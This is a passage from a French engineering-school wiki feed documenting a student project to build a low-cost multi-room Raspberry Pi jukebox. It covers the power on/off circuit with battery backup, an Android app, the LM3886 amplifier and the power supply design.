*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_3D_BOT.png&amp;diff=27129</id>
		<title>Fichier:DriverButtons 3D BOT.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_3D_BOT.png&amp;diff=27129"/>
				<updated>2016-02-13T19:43:08Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_3D_TOP.png&amp;diff=27128</id>
		<title>Fichier:DriverButtons 3D TOP.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_3D_TOP.png&amp;diff=27128"/>
				<updated>2016-02-13T19:42:05Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : a téléversé une nouvelle version de « Fichier:DriverButtons 3D TOP.png »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_Schematics_2.png&amp;diff=27127</id>
		<title>Fichier:DriverButtons Schematics 2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_Schematics_2.png&amp;diff=27127"/>
				<updated>2016-02-13T19:37:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : a téléversé une nouvelle version de « Fichier:DriverButtons Schematics 2.png »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27126</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27126"/>
				<updated>2016-02-13T15:45:37Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
